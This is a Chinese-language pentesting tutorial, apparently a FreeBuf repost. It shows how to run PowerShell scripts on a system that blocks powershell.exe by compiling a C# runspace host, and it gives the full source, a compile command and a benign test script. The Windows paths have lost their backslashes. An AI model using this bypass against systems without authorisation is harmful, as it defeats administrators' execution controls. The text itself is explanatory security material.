如何繞過PowerShell訪問限制並實現PowerShell程式碼執行

  • 2019 年 12 月 10 日
  • 筆記

如果你是一名專業的滲透測試人員,那你可能真的離不開PowerShell,但是如果目標系統中的某個策略組織我們訪問PowerShel.exe,那我們該怎麼辦呢?沒錯,這個問題經常會困擾我們,而且網上也有很多的應對方法。

在這篇文章中,我將跟大家介紹一種快速且狡猾的繞過技術,這項技術需要利用C#編譯程式碼來執行我們的PowerShell腳本。

首先,我們為什麼不適用powershell.exe來執行我們的.ps1腳本呢?因為PowerShell腳本跟C#一樣,它們兩個對於.NET框架而言,都只是「前端」方面的東西,它們的本質都只是一種程式語言。不過在C#中,我們需要對程式程式碼進行編譯才可以使用和執行,即編譯型語言,這是它和PowerShell這種解釋型腳本語言有很大區別。

鑒於PowerShell.exe只是.NET程式集「system.management.automation」的解釋器,因此它應該可以在C程式中與這個對象進行交互並執行.ps1腳本。

下面給出的就是實例程式碼:

using System.Collections.ObjectModel;  using System.Management.Automation;  using System.Management.Automation.Runspaces;  using System.IO;  using System;  using System.Text;  namespace PSLess  {   class PSLess   {     static void Main(string[] args)        {       if(args.Length ==0)           Environment.Exit(1);       string script=LoadScript(args[0]);       string s=RunScript(script);       Console.WriteLine(s);       Console.ReadKey();     }   private static string LoadScript(string filename)      {     string buffer ="";     try {      buffer = File.ReadAllText(filename);      }     catch (Exception e)     {       Console.WriteLine(e.Message);       Environment.Exit(2);      }    return buffer;   }   private static string RunScript(string script)      {      Runspace MyRunspace = RunspaceFactory.CreateRunspace();      MyRunspace.Open();      Pipeline MyPipeline = MyRunspace.CreatePipeline();      MyPipeline.Commands.AddScript(script);      MyPipeline.Commands.Add("Out-String");      Collection<PSObject> outputs = MyPipeline.Invoke();      MyRunspace.Close();     StringBuilder sb = new StringBuilder();     foreach (PSObject pobject in outputs)     {         sb.AppendLine(pobject.ToString());     }      return sb.ToString();    }   }  }

其中的RunScript()方法會創建一個「runspace」對象,我們可以將其視作是PowerShell運行時的一個獨立實例。接下來,我們需要將腳本添加到新創建的pipeline中,並對通訊信道進行排序,最後通過Invoke()方法執行我們的腳本命令。

最終的結果將會被追加到我們的字元串生成器中,然後作為字元串發回給調用函數,以便顯示在控制台的輸出結果中。這也就是為什麼我們要在命令中添加「Out-String」的原因。

怎麼樣,整個過程很簡單吧?

接下來,我們需要對程式碼進行編譯並完成程式碼測試。

C:WindowsMicrosoft.NETFramework64v4.0.30319csc.exe  /reference:  C:WindowsMicrosoft.NETassemblyGAC_MSILSystem.Management.Automationv4.0_3.0.0.0__31bf3856ad364e35system.management.automation.dll  /out:c:setuppowerless.exe c:scriptspowersless.cs

請記住,具體的執行路徑需要取決於目標系統中所安裝的框架版本。除此之外,別忘了添加對「system.management.automation.dll」程式集的引用。

如果一切正常的話,我們就已經完成了程式碼的編譯。接下來,創建一個簡單地測試腳本:

test.ps1:  echo "Hello from powershell-less"  echo "PID: $pid"

然後運行該腳本:

沒錯,我們成功了!我們成功地在不直接使用powershell.exe的情況下調用並執行了我們的腳本程式碼。

實際上,這是一個非常簡單的腳本,如果加上用戶輸入等處理機制的話,就會變得比較麻煩和複雜了,但對於大多數需要涉及到PowerShell的滲透活動來說,這應該已經夠了吧。當然了,廣大研究人員也可以根據自己的需要來修改腳本程式碼,以實現自己的需求。

*參考來源:decoder,FB小編Alpha_h4ck編譯,轉載請註明來自FreeBuf.COM